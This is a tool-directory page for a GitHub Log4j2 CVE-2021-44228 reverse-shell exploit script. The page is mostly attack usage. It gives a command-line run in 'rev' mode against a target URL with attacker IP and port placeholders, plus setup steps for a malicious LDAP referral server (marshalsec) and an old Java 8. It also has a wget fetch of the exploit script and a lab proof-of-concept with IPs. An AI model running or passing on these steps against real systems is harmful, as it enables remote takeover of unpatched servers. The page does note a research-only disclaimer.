Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Log4j2-CVE-2021-44228-revshell — Log4j2 CVE-2021-44228 反弹shell,当然它很烂!! | Kitploit
工具/GitHubGitHub/faisalfs10x/log4j2-cve-2021-44228-revshell
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制
GitHubfaisalfs10x/log4j2-cve-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell

Log4j2 CVE-2021-44228 反弹shell,当然它很烂!!

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
18224年前尚未审核

Log4j2-CVE-2021-44228-revshell

使用方法

root@kitploit:~
For reverse shell:
$~ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l [AttackerIP] -p [AttackerPort] -hp [HTTPServerPort]

For check exploitable:
$~ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l [AttackerIP] -p [AttackerPort]

$~  python3 Log4j2-revshell.py -h
    usage: Log4j2-revshell.py [-h] -M MODE -u TARGET -l LHOST -p LPORT
                              [-hp HTTPPORT] [-V]

    Log4j2 CVE-2021-44228 Reverse Shell

    optional arguments:
      -h, --help            show this help message and exit
      -M MODE, --mode MODE  Mode: check | rev
      -u TARGET, --target TARGET
                            Target full URL, http://www.victimLog4j.xyz:8080
      -l LHOST, --lhost LHOST
                            Attacker IP for receive revshell
      -p LPORT, --lport LPORT
                            Attacker port for receive revshell
      -hp HTTPPORT, --httpport HTTPPORT
                            HTTP server port on attacker host, default is 8888
      -V, --version         show program's version number and exit

要求

root@kitploit:~
1. Marshalsec jndi.LDAPRefServer # 参见 https://github.com/mbechler/marshalsec
2. Java 8 # 你可以在 https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 获取 Java 8,建议安装 jdk-8u181-linux-x64.tar.gz [Java 1.8.0_181]
3. 本脚本 Log4j2-revshell.py

TLDR; 引导步骤

root@kitploit:~
$ Open browser and Download Java 8 from https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 
  In Java SE Development Kit 8u181 section, select jdk-8u181-linux-x64.tar.gz or appropriate package based on your OS.
    
$ sudo mkdir /usr/lib/jvm #Make this dir if you do not have yet
$ cd /usr/lib/jvm
$ sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz #Extract downloaded jdk-8u181-linux-x64.tar.gz into /usr/lib/jvm
$ sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1
$ sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1
$ sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1

$ sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java
$ sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac
$ sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
$ java -version #verify if you are running Java 1.8.0_181

$ git clone https://github.com/mbechler/marshalsec /tmp/Log4j2-dir; cd /tmp/Log4j2-dir #Install marshalsec jndi.LDAPRefServer
$ sudo apt install -y maven #Build marshalsec with the Java builder maven. If you do not have maven, please install first
$ mvn clean package -DskipTests #Build marshalsec tool with maven 
$ cd /tmp/Log4j2-dir; wget -q https://raw.githubusercontent.com/faisalfs10x/Log4j2-CVE-2021-44228-revshell/main/Log4j2-revshell.py

$ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l [AttackerIP] -p [AttackerPort] -hp [HTTPServerPort]

PoC

root@kitploit:~
target host: http://192.168.5.122:8080
attacker host: 192.168.5.120

https://user-images.githubusercontent.com/51811615/146068317-23af25f4-9e5b-42bb-960b-6775edd5be03.mp4

测试环境

root@kitploit:~
- Ubuntu 18.04

免责声明:

root@kitploit:~
该脚本仅用于安全分析和研究,因此如果被用于非法活动,本人概不负责。
下载工具